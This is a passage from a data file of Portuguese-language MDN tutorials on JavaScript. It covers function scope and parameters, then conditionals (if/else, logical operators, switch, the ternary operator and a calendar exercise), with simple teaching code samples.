{\n  alert(\"hello\");\n};\n```\n\n\nO exemplo acima requer que exista um elemento `<button>` diponível na página para selecionar e clicar. Você já viu essa estrutura algumas vezes ao longo do curso, e aprenderá mais a respeito disso e o verá no próximo artigo.\n\nVoce também pode atribuir uma função anônima para ser o valor de uma variável, por exemplo:\n\n\n```js\nvar myGreeting = function () {\n  alert(\"hello\");\n};\n```\n\n\nEsta função agora poder ser invocada usando:\n\n\n```js\nmyGreeting();\n```\n\n\nIsso dá efetivamente um nome a função; você também pode atribuir uma função para ser o valor de múltiplas variáveis , por exemplo:\n\n\n```js\nvar anotherGreeting = function () {\n  alert(\"hello\");\n};\n```\n\n\nEsta função agora pode ser invocada usando qualquer das funções abaixo\n\n\n```js\nmyGreeting();\nanotherGreeting();\n```\n\n\nMas isso pode simplesmente ser confuso, então não faça! Quando criar funções, é melhor ficar com apenas uma forma:\n\n\n```js\nfunction myGreeting() {\n  alert(\"hello\");\n}\n```\n\n\nDe modo geral você irá usar funções anônimas só para rodar um código em resposta a um disparo de evento — como um botão ao ser clicado — usando um gerenciador de eventos. Novamente, Isso é algo parecido com:\n\n\n```js\nmyButton.onclick = function () {\n  alert(\"hello\");\n  // Eu posso colocar código aqui\n  // dentro o quanto eu quiser\n};\n```\n\nParâmetro de funções\n--------------------\n\nAlgumas funções requerem **parâmetros** a ser especificado quando você está invocando-os — esses são valores que precisam ser inclusos dentro dos parênteses da função, o que é necessário para fazer seu trabalho apropriado.\n\n**Nota:** Parâmetros algumas vezes são chamados de argumentos, propriedades, ou até atributos.\n\nComo um exemplo, a função embutida de navegador Math.random() não requer nenhum parâmetro. Quando chamada, ela sempre retorna um número aleatório entre 0 e 1:\n\n\n```js\nvar myNumber = Math.random();\n```\n\n\nA função embutida de navegador replace() entretanto precisa de dois parâmetros — a substring para encotrar a string principal, e a substring para ser substituida com ela:\n\n\n```js\nvar myText = \"I am a string\";\nvar newString = myText.replace(\"string\", \"sausage\");\n```\n\n\n**Nota:** Quando você precisa especificar multiplos parâmetros, eles são separados por vígulas.\n\nNota-se também que algumas vezes os parâmetros são opcionais — você não tem que especificá-los. Se você não o faz, a função geralmente adota algum tipo de comportamento padrão. Como exemplo, a função join() tem parâmetro opcional:\n\n\n```js\nvar myArray = [\"I\", \"love\", \"chocolate\", \"frogs\"];\nvar madeAString = myArray.join(\" \");\n// returns 'I love chocolate frogs'\nvar madeAString = myArray.join();\n// returns 'I,love,chocolate,frogs'\n```\n\n\nSe nenhum parâmetro é incluído para especificar a combinação/delimitação de caractere, uma vírgula é usada por padrão.\n\nFunção escopo e conflitos\n-------------------------\n\nvamos falar um pouco sobre scope — um conceito muito importante quando lidamos com funções. Quando você cria uma função, as variáveis e outras coisas definidas dentro da função ficam dentro de seu próprio e separado **escopo**, significando que eles estão trancados a parte em seu próprio compartimento, inacesível de dentro de outras funções ou de código fora das funções.\n\nO mais alto nível fora de todas suas funções é chamado de **escopo global**. Valores definidos no escopo global são acessíveis em todo lugar do código.\n\nJavaScript é configurado assim por várias razões — mas principalmente por segurança e organização. Algumas vezes você não quer que variáveis sejam acessadas de todo lugar no código — scripts externos que você chama de algum outro lugar podem iniciar uma bagunça no seu código e causar problemas porque eles estão usando os mesmos nomes de variáveis que em outras partes do código, provocando conflitos. Isso pode ser feito maliciosamente, ou só por acidente.\n\nPor exemplo, digamos que você tem um arquivo HTML que está chamando dois arquivos JavaScript externos, e ambos tem uma variável e uma função definidos que usam o mesmo nome:\n\n\n```html\n<!-- Excerpt from my HTML -->\n<script src=\"first.js\"></script>\n<script src=\"second.js\"></script>\n<script>\n greeting();\n</script>\n```\n\n\n\n```js\n// first.js\nvar name = \"Chris\";\nfunction greeting() {\n  alert(\"Olá \" + name + \": bem-vindo a nossa compania.\");\n}\n```\n\n\n\n```js\n// second.js\nvar name = \"Zaptec\";\nfunction greeting() {\n  alert(\"Nossa compania é chamada \" + name + \".\");\n}\n```\n\n\nAmbas as funções que você quer chamar são chamadas `greeting()`, mas você só pode acessar o arquivo `second.js` da função `greeting()` — Ele é aplicado no HTML depois no código fonte, então suas variáveis e funções sobrescrevem as de `first.js`.\n\n**Nota:** Você pode ver este exemplo rodando no GitHub (veja também o código fonte).\n\nManter parte de seus código trancada em funções evita tais problemas, e é considerado boa prática.\n\nParece um pouco com um zoológico. Os leões, zebras, tigres, e pinguins são mantidos em seus próprios cercados, e só tem acesso as coisas dentro de seu cercado — da mesma maneira que escopos de função. Se eles forem capazes de entrar em outros cercados, problemas podem acontecer. No melhor caso, diferentes animais poderiam sentir-se ralmente desconfortáveis dentro de habitats não familiares — um leão e um tigre poderiam sentir-se muito mal dentro de um úmido e gelado terreno. No pior caso, os leões e tigres poderiam tentar comer os pinguins!\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/Functions/mdn-mozilla-zoo.png)\n\nO zelador do zoológico é como o escopo global — ele ou ela tem as chaves para acessar cada cercado, reabastecer comida, tratar animais doentes, etc.\n\n### Aprendizado ativo: Brincando com o escopo\n\nVamos observar um exemplo real para mostrar escopo.\n\n1. Primeiro, faça uma cópia local de nosso exmplo function-scope.html. Isto contém duas funções chamadas `a()` e `b()`, e três variáveis — `x`, `y`, e `z` — duas das quais estão definidas dentro de funções, e uma no escopo global. Ele também contém uma terceira função chamada `output()`, que leva um simples parâmetro e mostra-o em um parágrafo na página.\n2. Abra o exemplo em um navegador e em um editor de textos.\n3. Abra o console JavaScript no developer tools de seu navegador. No console JavaScript, digite o seguinte comando:\n\n```js\noutput(x);\n```\n\nVocê deve ver o valor da variável `x` exibida na página.\n4. Agora tente digitar o seguinte no seu console:\n\n```js\noutput(y);\noutput(z);\n```\n\nAmbos dever retornar um erro com as seguintes linhas \"ReferenceError: y is not defined\". Por que isso? Porque o escopo da função — `y` e `z` estão trancadas dentro das funções `a()` e `b()`, então `output()` não pode acessá-las quando chamadas do escopo global.\n5. Contudo, que tal chamá-las de dentro de outra função? Tente editar `a()` e `b()` para que fiquem desta forma:\n\n```js\nfunction a() {\n  var y = 2;\n  output(y);\n}\n\nfunction b() {\n  var z = 3;\n  output(z);\n}\n```\n\nSalve o código e atualize o navegador, então tente chamar as funções `a()` e `b()` do console JavaScript:\n\n```js\na();\nb();\n```\n\nVocê verá os valores de `y` e `z` mostrados na página. Isso funciona bem, desde que a função `output()` está sendo chamada dentro de outra função — no mesmo escopo que as variáveis que estam imprimindo são definidas, em cada caso. `output()` em si é acessível de qualquer lugar, como é definido no escopo global.\n6. Agora tente atualizar seu código como este:\n\n```js\nfunction a() {\n  var y = 2;\n  output(x);\n}\n\nfunction b() {\n  var z = 3;\n  output(x);\n}\n```\n\nSalve e atualize novamente, e tente isso novamente em seu console JavaScript:\n\n```js\na();\nb();\n```\n\nAmbas chamadas de `a()` e `b()` devem mostrar o valor de x — 1. Isso dá certo porque até mesmo a chamada de `output()` não está no mesmo escopo em que `x` é definido, `x` é uma variável global então é disponível dentro de todo código, em toda parte.\n7. Finalmente, tente atualizar o código o seguinte:\n\n```js\nfunction a() {\n  var y = 2;\n  output(z);\n}\n\nfunction b() {\n  var z = 3;\n  output(y);\n}\n```\n\nSalve e atualize novamente, e tente isso novamente em seu console JavaScript:\n\n```js\na();\nb();\n```\n\nDesta vez as chamadas de `a()` e `b()` retornaram o irritante erro \"ReferenceError: z is not defined\" — isto porque a chamada de `output()` e as variáveis que eles estão tentando imprimir não estão definidas dentro do mesmo escopo das funções — as variáveis são efetivamente invisíveis aquelas chamadas de função.\n\n**Nota:** As mesmas regras de escopo não se aplicam a laços (ex.: `for() { ... }`) e blocos condicionais (ex.: `if() { ... }`) — eles parecem muito semelhantes, mas eles não são a mesma coisa! Tome cuidado para não confudir-se.\n\n**Nota:** O erro ReferenceError: \"x\" is not defined é um dos mais comuns que você encontrará. Se você receber este erro e tem certeza que definiu a variável em questão, cheque em que escopo ela está.\n\n### Funções dentro de funções\n\nTenha em mente que você pode chamar uma função de qualquer lugar, até mesmo dentro de outra função. Isso é frenquentemente usado para manter o código organizado — se você tem uma função grande e complexa, é mais fácil de entendê-la se você quebrá-la em várias subfunções:\n\n\n```js\nfunction myBigFunction() {\n  var myValue;\n\n  subFunction1();\n  subFunction2();\n  subFunction3();\n}\n\nfunction subFunction1() {\n  console.log(myValue);\n}\n\nfunction subFunction2() {\n  console.log(myValue);\n}\n\nfunction subFunction3() {\n  console.log(myValue);\n}\n```\n\n\nApenas certifique-se que os valores usados dentro da função estão apropriadamente no escopo. O exemplo acima deve lançar um erro `ReferenceError: myValue is not defined`, porque apesar da variável `myValue` estar definida no mesmo escopo da chamda da função, ela não está definida dentro da definição da função — o código real que está rodando quando as funções são chamadas. Para fazer isso funcionar, você deveria passar o valor dentro da função como um parâmetro, desta forma:\n\n\n```js\nfunction myBigFunction() {\n  var myValue = 1;\n\n  subFunction1(myValue);\n  subFunction2(myValue);\n  subFunction3(myValue);\n}\n\nfunction subFunction1(value) {\n  console.log(value);\n}\n\nfunction subFunction2(value) {\n  console.log(value);\n}\n\nfunction subFunction3(value) {\n  console.log(value);\n}\n```\n\nConclusão\n---------\n\nEste arquivo explorou os conceitos fundamentais por trás das funções, pavimentando o caminho para o próximo no qual nos tornamos práticos e o levamos através de passos para construir suas próprias funções personalizadas.\n\nVeja também\n-----------\n\n* Guia detalhado de funções — cobre algumas características avançadas não includas aqui.\n* Referências de funções\n* Parâmetros padrão, Funções de flexa — referências de conceito avançado\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Tomando decisões no seu código — condicionais - Aprendendo desenvolvimento web","text":"Tomando decisões no seu código — condicionais\n=============================================\n\n* Menu: Building blocks\n* Próxima\n\nEm qualquer linguagem de programação, o código precisa tomar decisões e realizar ações de acordo, dependendo de diferentes entradas. Por exemplo, em um jogo, se o número de vidas do jogador é 0, então o jogo acaba. Em um aplicativo de clima, se estiver sendo observado pela manhã, ele mostra um gráfico do nascer do sol; Mostra estrelas e uma lua se for noite. Neste artigo, exploraremos como as chamadas declarações condicionais funcionam em JavaScript.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico de algoritmos, um entendimento básico de HTML e CSS,\n JavaScript primeiros passos.\n  |\n| Objetivo: | Entender como usar estruturas condicionais em JavaScript. |\n\nVocê pode tê-lo em uma condição ...!\n------------------------------------\n\nSeres humanos (e outros animais) tomam decisões o tempo todo que afetam suas vidas, desde pequenas (\"devo comer um biscoito ou dois?\") até grandes (\"devo ficar no meu país de origem e trabalhar na fazenda do meu pai ou devo mudar para a América e estudar astrofísica?\").\n\nAs declarações condicionais nos permitem representar tomadas de decisão como estas em *JavaScript*, a partir da escolha que deve ser feita (por exemplo, \"um biscoito ou dois\"), ao resultado obtido dessas escolhas (talvez o resultado de \"comer um biscoito\" possa ser \"ainda sentido fome \", e o resultado de \"comer dois biscoitos\" pode ser \"ter se sentido cheio, mas mamãe me falou para comer todos os biscoitos\".)\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/conditionals/cookie-choice-small.png)\n\nDeclarações if ... else\n-----------------------\n\nDe longe o tipo mais comum de declaração condicional que você usará em JavaScript — as modestas declarações `if ... else`.\n\n### Sintaxe básica if ... else\n\nVeja a sintaxe básica do `if...else` no pseudocódigo:\n```\n\nif (condicao) {\n  codigo para executar caso a condição seja verdadeira\n} else {\n  senão, executar este código\n}\n```\n\n\nAqui nós temos:\n\n1. A palavra reservada `if` seguida de um par de parênteses.\n2. Um teste condicional, localizado dentro dos parênteses (normalmente \"este valor é maior que esse\", ou \"este valor existe\"). Esta condição pode fazer uso dos operadores de comparação que discutimos no último módulo, e podem retornar `true` ou `false`.\n3. Um par de chaves, e dentro dele temos código — pode ser qualquer código que queiramos, e só vai ser executado se o teste condicional retornar `true`.\n4. A palavra reservada `else`.\n5. Outro par de chaves, dentro dele temos mais um pouco de código — pode ser qualquer código que queiramos, e só vai executar se o teste condicional retornar um valor diferente de `true`, neste caso `not true`, ou `false`.\n\nEste tipo de código é bem legível por seres humanos — ele diz: \"**if** a condição for `true`, execute o bloco de código A, **else** execute o bloco de código B\" (**se** a condição for **verdadeira**, execute o bloco de código A, **senão** execute o bloco de código B).\n\nVocê precisa saber que não é obrigado a colocar a palavra reservada `else` e o segundo bloco de par de chaves. O código apresentado a seguir é perfeitamente válido e não produz erros:\n```\n\nif (condicao) {\n  codigo para executar se a condição for verdadeira\n}\n\ncódigo a ser executado\n```\n\n\nEntretanto, você precisa ser cauteloso aqui — neste caso, repare que o segundo bloco de código não é controlado pela declaração condicional, então ele vai executar **sempre**, independente do teste condicional retornar `true` ou `false`. É claro, isto não é necessariamente uma coisa ruim, mas isso pode não ser o que você quer — com muita frequência você vai querer executar ou um bloco de código ou outro, não os dois juntos.\n\nPor fim, você verá muitas vezes declarações `if...else` escritas sem as chaves, no seguinte estilo de escrita:\n```\n\nif (condicao) executar aqui se for verdadeira\nelse executar este outro codigo\n```\n\n\nEste é um código perfeitamente válido, mas não é recomendado — ele facilita que você escreva código fora do escopo do `if` e do `else`, o que seria mais difícil se você estivesse usando as chaves para delimitar os blocos de código, e usando multiplas linhas de código e identação.\n\n### Um exemplo real\n\nPara entender bem a sintaxe, vamos considerar um exemplo real. Imagine um filhote de humanos sendo chamdo a ajudar com as tarefas do Pai ou da Mãe. Os pais podem falar: \"Ei querido, se você me ajudar a ir e fazer as compras, eu te dou uma grana extra para que você possa comprar aquele brinquedo que você quer.\" Em JavaScript, nós podemos representar isso como:\n\n\n```js\nvar comprasFeitas = false;\n\nif (comprasFeitas === true) {\n  var granaFilhote = 10;\n} else {\n  var granaFilhote = 5;\n}\n```\n\n\nEsse código como mostrado irá sempre resultar na variável `comprasFeitas` retornando `false`, sendo um desapontamento para nossas pobres crianças. Cabe a nós fornecer um mecanismo para o pai definir a variável `comprasFeitas` como `true` se o filho fez as compras.\n\n**Nota:** Você pode ver a versão completa desse exemplo no GitHub (também veja live.)\n\n### else if\n\nO último exemplo nos forneceu duas opções ou resultados - mas e se quisermos mais do que dois?\n\nExiste uma maneira de encadear escolhas/resultados extras ao seu `if...else` — usando `else if`. Cada escolha extra requer um bloco adicional para colocar entre `if() { ... }` e `else { ... }` — confira o seguinte exemplo mais envolvido, que pode fazer parte de um aplicativo simples de previsão do tempo:\n\n\n```html\n<label for=\"weather\">Select the weather type today: </label>\n<select id=\"weather\">\n  <option value=\"\">--Make a choice--</option>\n  <option value=\"sunny\">Sunny</option>\n  <option value=\"rainy\">Rainy</option>\n  <option value=\"snowing\">Snowing</option>\n  <option value=\"overcast\">Overcast</option>\n</select>\n\n<p></p>\n```\n\n\n\n```js\nvar select = document.querySelector(\"select\");\nvar para = document.querySelector(\"p\");\n\nselect.addEventListener(\"change\", setWeather);\n\nfunction setWeather() {\n  var choice = select.value;\n\n  if (choice === \"sunny\") {\n    para.textContent =\n      \"It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.\";\n  } else if (choice === \"rainy\") {\n    para.textContent =\n      \"Rain is falling outside; take a rain coat and a brolly, and don't stay out for too long.\";\n  } else if (choice === \"snowing\") {\n    para.textContent =\n      \"The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.\";\n  } else if (choice === \"overcast\") {\n    para.textContent =\n      \"It isn't raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.\";\n  } else {\n    para.textContent = \"\";\n  }\n}\n```\n\n\n1. Aqui, temos um elemento HTML `<select>` que nos permite fazer escolhas de clima diferentes e um simples parágrafo.\n2. No JavaScript, estamos armazenando uma referência para ambos os elementos `<select>` e `<p>`, e adicionando um listener de evento ao elemento `<select>` para que, quando o valor for alterado, a função `setWeather()` é executada.\n3. Quando esta função é executada, primeiro definimos uma variável chamada `choice` para o valor atual selecionado no elemento `<select>`. Em seguida, usamos uma instrução condicional para mostrar um texto diferente dentro do parágrafo, dependendo de qual é o valor de `choice` . Observe como todas as condições são testadas nos blocos `else if() {...}`, com exceção do primeiro, que é testado em um bloco `if() {...}`.\n4. A última escolha, dentro do bloco `else {...}`, é basicamente uma opção de \"último recurso\" — o código dentro dele será executado se nenhuma das condições for `true`. Nesse caso, ele serve para esvaziar o texto do parágrafo, se nada for selecionado, por exemplo, se um usuário decidir selecionar novamente a opção de espaço reservado \"- Make a choice--\" mostrada no início.\n\n**Nota:** Você pode também encontrar este exemplo no GitHub (veja ele sendo executado lá também.)\n\n### Uma nota sobre os operadores de comparação\n\nOperadores de comparação são usados para testar as condições dentro de nossas declarações condicionais. Nós primeiro olhamos para operadores de comparação de volta em nosso artigo Matemática básica em JavaScript - números e operadores. Nossas escolhas são:\n\n* `===` e `!==` — testar se um valor é idêntico ou não idêntico a outro.\n* `<` e `>` — teste se um valor é menor ou maior que outro.\n* `<=` e `>=` — testar se um valor é menor ou igual a, ou maior que ou igual a outro.\n\n**Nota:** Revise o material no link anterior se quiser atualizar suas memórias sobre eles.\n\nQueríamos fazer uma menção especial do teste de valores boolean (`true`/`false`) , e um padrão comum que você vai encontrar de novo e de novo. Qualquer valor que não seja `false`, `undefined`, `null`, `0`, `NaN`, ou uma string vazia (`''`) retorna `true` quando testado como uma instrução condicional, portanto, você pode simplesmente usar um nome de variável para testar se é verdadeiro , ou mesmo que existe (ou seja, não é indefinido). Por exemplo:\n\n\n```js\nvar cheese = \"Cheddar\";\n\nif (cheese) {\n  console.log(\"Yay! Cheese available for making cheese on toast.\");\n} else {\n  console.log(\"No cheese on toast for you today.\");\n}\n```\n\n\nE, voltando ao nosso exemplo anterior sobre a criança fazendo uma tarefa para seu pai, você poderia escrevê-lo assim:\n\n\n```js\nvar shoppingDone = false;\n\nif (shoppingDone) {\n  // don't need to explicitly specify '=== true'\n  var childsAllowance = 10;\n} else {\n  var childsAllowance = 5;\n}\n```\n\n### Aninhando if ... else\n\nÉ perfeitamente correto colocar uma declaração `if...else` dentro de outra — para aninhá-las. Por exemplo, poderíamos atualizar nosso aplicativo de previsão do tempo para mostrar mais opções dependendo de qual é a temperatura:\n\n\n```js\nif (choice === \"sunny\") {\n  if (temperature < 86) {\n    para.textContent =\n      \"It is \" +\n      temperature +\n      \" degrees outside — nice and sunny. Let's go out to the beach, or the park, and get an ice cream.\";\n  } else if (temperature >= 86) {\n    para.textContent =\n      \"It is \" +\n      temperature +\n      \" degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.\";\n  }\n}\n```\n\n\nMesmo que o código trabalhe em conjunto, cada uma das instruções `if...else` funcionam completamente independente uma da outra.\n\n### Operadores lógicos: AND, OR e NOT\n\nSe você quiser testar várias condições sem escrever instruções aninhadas `if...else`, os operadores lógicos (en-US) poderão ajudá-lo. Quando usado em condições, os dois primeiros fazem o seguinte:\n\n* `&&` — AND; permite encadear duas ou mais expressões para que todas elas tenham que ser avaliadas individualmente como `true` assim toda a expressão retorna `true`.\n* `||` — OR; permite encadear duas ou mais expressões para que uma ou mais delas tenham que ser avaliadas individualmente como `true` assim toda a expressão retorna `true`.\n\nPara fornecer um exemplo AND, o fragmento de exemplo anterior pode ser reescrito assim:\n\n\n```js\nif (choice === \"sunny\" && temperature < 86) {\n  para.textContent =\n    \"It is \" +\n    temperature +\n    \" degrees outside — nice and sunny. Let's go out to the beach, or the park, and get an ice cream.\";\n} else if (choice === \"sunny\" && temperature >= 86) {\n  para.textContent =\n    \"It is \" +\n    temperature +\n    \" degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.\";\n}\n```\n\n\nEntão, por exemplo, o primeiro bloco de código só será executado se ambas as condições `choice === 'sunny'` *e* `temperature < 86` retornarem `true`.\n\nVamos ver um exemplo rápido de OR:\n\n\n```js\nif (iceCreamVanOutside || houseStatus === \"on fire\") {\n  console.log(\"You should leave the house quickly.\");\n} else {\n  console.log(\"Probably should just stay in then.\");\n}\n```\n\n\nO último tipo de operador lógico, NOT, expressado pelo operador `!`, pode ser usado para negar uma expressão. Vamos combiná-lo com OR no exemplo acima:\n\n\n```js\nif (!(iceCreamVanOutside || houseStatus === \"on fire\")) {\n  console.log(\"Probably should just stay in then.\");\n} else {\n  console.log(\"You should leave the house quickly.\");\n}\n```\n\n\nNesse trecho, se a instrução OR retornar `true`, o operador NOT negará isso para que a expressão geral retorne `false`.\n\nVocê pode combinar tantas instruções lógicas quanto quiser, em qualquer estrutura. O exemplo a seguir executa o código interno apenas se ambos os conjuntos de instruções OR retornarem true, significando que a instrução AND global também retornará true:\n\n\n```js\nif ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === \"Steve\")) {\n  // run the code\n}\n```\n\n\nUm erro comum ao usar o operador OR lógico em instruções condicionais é tentar indicar a variável cujo valor você está verificando uma vez e, em seguida, fornecer uma lista de valores que poderia ser para retornar true, separados pelos operadores `||` (OR) . Por exemplo:\n\n\n```js\nif (x === 5 || 7 || 10 || 20) {\n  // run my code\n}\n```\n\n\nNesse caso, a condição dentro de `if(...)` sempre será avaliada como verdadeira, já que 7 (ou qualquer outro valor diferente de zero) sempre é avaliado como verdadeiro. Esta condição está realmente dizendo \"se x é igual a 5, ou 7 é verdade — o que sempre é\". Isso logicamente não é o que queremos! Para fazer isso funcionar, você precisa especificar um teste completo ao lado de cada operador OR:\n\n\n```js\nif (x === 5 || x === 7 || x === 10 || x === 20) {\n  // run my code\n}\n```\n\nInstruções switch\n-----------------\n\nAs instruções `if...else` fazem o trabalho de habilitar o código condicional bem, mas elas também possuem suas desvantagens. Elas são boas principalmente para casos em que você tem algumas opções, e cada uma requer uma quantidade razoável de código para ser executado, e / ou as condições são complexas (por exemplo, vários operadores lógicos). Nos casos em que você deseja definir uma variável para uma determinada opção de valor ou imprimir uma determinada instrução dependendo de uma condição, a sintaxe pode ser um pouco incômoda, especialmente se você tiver um grande número de opções.\n\nAs instruções`switch` são suas amigas aqui — elas tomam uma única expressão / valor como uma entrada e, em seguida, examinam várias opções até encontrarem um que corresponda a esse valor, executando o código correspondente que o acompanha. Aqui está mais um pseudocódigo, para você ter uma ideia:\n```\n\nswitch (expression) {\n  case choice1:\n    run this code\n    break;\n\n  case choice2:\n    run this code instead\n    break;\n\n  // include as many cases as you like\n\n  default:\n    actually, just run this code\n}\n```\n\n\nAqui nós temos:\n\n1. A palavra-chave `switch`, seguido por um par de parênteses.\n2. Uma expressão ou valor dentro dos parênteses.\n3. A palavra-chave `case`, seguido por uma escolha que a expressão / valor poderia ser, seguido por dois pontos.\n4. Algum código para ser executado se a escolha corresponder à expressão.\n5. Uma instrução `break`, seguido de um ponto e vírgula. Se a opção anterior corresponder à expressão / valor, o navegador interromperá a execução do bloco de código aqui e passará para qualquer código que aparecer abaixo da instrução switch.\n6. Como muitos outros casos (marcadores 3 a 5) que você quiser.\n7. A palavra-chave `default`, seguido por exatamente o mesmo padrão de código de um dos casos (marcadores 3 a 5), exceto que o `default` não tem escolha após ele, e você não precisa da instrução `break`, pois não há nada para executar depois disso o bloco de qualquer maneira. Esta é a opção padrão que é executada se nenhuma das opções corresponder.\n\n**Nota:** Você não precisa incluir a seção `default` — você pode omiti-la com segurança se não houver chance de que a expressão possa se igualar a um valor desconhecido. Se houver uma chance disso, você precisará incluí-lo para lidar com casos desconhecidos.\n\n### Um exemplo de switch\n\nVamos dar uma olhada em um exemplo real — vamos reescrever nosso aplicativo de previsão do tempo para usar uma instrução switch:\n\n\n```html\n<label for=\"weather\">Select the weather type today: </label>\n<select id=\"weather\">\n  <option value=\"\">--Make a choice--</option>\n  <option value=\"sunny\">Sunny</option>\n  <option value=\"rainy\">Rainy</option>\n  <option value=\"snowing\">Snowing</option>\n  <option value=\"overcast\">Overcast</option>\n</select>\n\n<p></p>\n```\n\n\n\n```js\nvar select = document.querySelector(\"select\");\nvar para = document.querySelector(\"p\");\n\nselect.addEventListener(\"change\", setWeather);\n\nfunction setWeather() {\n  var choice = select.value;\n\n  switch (choice) {\n    case \"sunny\":\n      para.textContent =\n        \"It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.\";\n      break;\n    case \"rainy\":\n      para.textContent =\n        \"Rain is falling outside; take a rain coat and a brolly, and don't stay out for too long.\";\n      break;\n    case \"snowing\":\n      para.textContent =\n        \"The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.\";\n      break;\n    case \"overcast\":\n      para.textContent =\n        \"It isn't raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.\";\n      break;\n    default:\n      para.textContent = \"\";\n  }\n}\n```\n\n\n**Nota:** Você pode encontrar este exemplo no GitHub (veja-o em execução lá também.)\n\nOperador ternário\n-----------------\n\nHá um bit final de sintaxe que queremos apresentar a você antes de começar a brincar com alguns exemplos. O operador ternário ou condicional é um pequeno bit de sintaxe que testa uma condição e retorna um valor / expressão se for `true`, e outro caso seja `false` — isso pode ser útil em algumas situações e pode ocupar muito menos código que um bloco `if...else` se você simplesmente tiver duas opções escolhidas entre uma condição `true`/`false` condition. O pseudocódigo é assim:\n```\n\n( condition ) ? run this code : run this code instead\n```\n\n\nEntão, vamos dar uma olhada em um exemplo simples:\n\n\n```js\nvar greeting = isBirthday\n  ? \"Happy birthday Mrs. Smith — we hope you have a great day!\"\n  : \"Good morning Mrs. Smith.\";\n```\n\n\nAqui temos uma variável chamada `isBirthday` — se ela for `true`, nós damos ao nosso convidado uma mensagem de feliz aniversário; se não, damos a ela a saudação diária padrão.\n\n### Exemplo de operador ternário\n\nVocê não precisa apenas definir valores de variáveis com o operador ternário; Você também pode executar funções ou linhas de código - qualquer coisa que você gosta. O exemplo ao vivo a seguir mostra um seletor de temas simples em que o estilo do site é aplicado usando um operador ternário.\n\n\n```html\n<label for=\"theme\">Select theme: </label>\n<select id=\"theme\">\n  <option value=\"white\">White</option>\n  <option value=\"black\">Black</option>\n</select>\n\n<h1>This is my website</h1>\n```\n\n\n\n```js\nvar select = document.querySelector(\"select\");\nvar html = document.querySelector(\"html\");\ndocument.body.style.padding = \"10px\";\n\nfunction update(bgColor, textColor) {\n  html.style.backgroundColor = bgColor;\n  html.style.color = textColor;\n}\n\nselect.onchange = function () {\n  select.value === \"black\"\n    ? update(\"black\", \"white\")\n    : update(\"white\", \"black\");\n};\n```\n\n\nAqui nós temos um elemento `<select>` para escolher um tema (preto ou branco), além de um simples `<h1>` (en-US) para exibir um título do site. Nós também temos uma função chamada `update()`, que leva duas cores como parâmetros (entradas). A cor do plano de fundo do site é definida para a primeira cor fornecida e sua cor de texto é definida para a segunda cor fornecida.\n\nFinalmente, nós também temos um evento listener onchange que serve para executar uma função que contém um operador ternário. Começa com uma condição de teste — `select.value === 'black'`. Se este retornar `true`, nós executamos a função `update()` com parâmetros de preto e branco, o que significa que acabamos com a cor de fundo do preto e cor do texto de branco. Se retornar `false`, nós executamos a função `update()` com parâmetros de branco e preto, o que significa que a cor do site está invertida.\n\n**Nota:** Você pode também encontrar este exemplo no GitHub (veja-o executando lá também.)\n\nAprendizado ativo: um calendário simples\n----------------------------------------\n\nNeste exemplo, você nos ajudará a concluir um aplicativo de calendário simples. No código que você tem:\n\n* Um elemento `<select>` para permitir que o usuário escolha entre diferentes meses.\n* Um evento manipulador `onchange` para detectar quando o valor selecionado no menu `<select>` é mudado.\n* Uma função chamada `createCalendar()` que desenha o calendário e exibe o mês correto no elemento `<h1>` (en-US) .\n\nPrecisamos que você escreva uma instrução condicional dentro da função do manipulador onchange, logo abaixo do comentário `// ADD CONDITIONAL HERE`. Ele deve:\n\n1. Olhar para o mês selecionado (armazenado na variavel `choice`. Este será o valor do elemento `<select>` após o valor ser alterado, portanto, \"Janeiro\", por exemplo.\n2. Definir uma variável chamada `days` para ser igual ao número de dias no mês selecionado. Para fazer isso, você terá que procurar o número de dias em cada mês do ano. Você pode ignorar anos bissextos para os propósitos deste exemplo.\n\nDicas:\n\n* É aconselhável usar o OR lógico para agrupar vários meses em uma única condição; muitos deles compartilham o mesmo número de dias.\n* Pense em qual número de dias é o mais comum e use isso como um valor padrão.\n\nSe você cometer um erro, você sempre pode redefinir o exemplo com o botão \"Reset\". Se você ficar realmente preso, pressione \"Mostrar solução\" para ver uma solução.\n```\n\n<div class=\"output\" style=\"height: 500px;overflow: auto;\">\n  <label for=\"month\">Select month: </label>\n  <select id=\"month\">\n    <option value=\"January\">January</option>\n    <option value=\"February\">February</option>\n    <option value=\"March\">March</option>\n    <option value=\"April\">April</option>\n    <option value=\"May\">May</option>\n    <option value=\"June\">June</option>\n    <option value=\"July\">July</option>\n    <option value=\"August\">August</option>\n    <option value=\"September\">September</option>\n    <option value=\"October\">October</option>\n    <option value=\"November\">November</option>\n    <option value=\"December\">December</option>\n  </select>\n\n  <h1></h1>\n\n  <ul></ul>\n</div>\n\n<hr />\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 500px;\">\nvar select = document.querySelector('select');\nvar list = document.querySelector('ul');\nvar h1 = document.querySelector('h1');\n\nselect.onchange = function() {\n  var choice = select.value;\n\n  // ADD CONDITIONAL HERE\n\n  createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n  list.innerHTML = '';\n  h1.textContent = choice;\n  for (var i = 1; i <= days; i++) {\n    var listItem = document.createElement('li');\n    listItem.textContent = i;\n    list.appendChild(listItem);\n  }\n}\n\ncreateCalendar(31,'January');\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\n.output \\* {\n  box-sizing: border-box;\n}\n\n.output ul {\n  padding-left: 0;\n}\n\n.output li {\n  display: block;\n  float: left;\n  width: 25%;\n  border: 2px solid white;\n  padding: 5px;\n  height: 40px;\n  background-color: #4a2db6;\n  color: white;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = 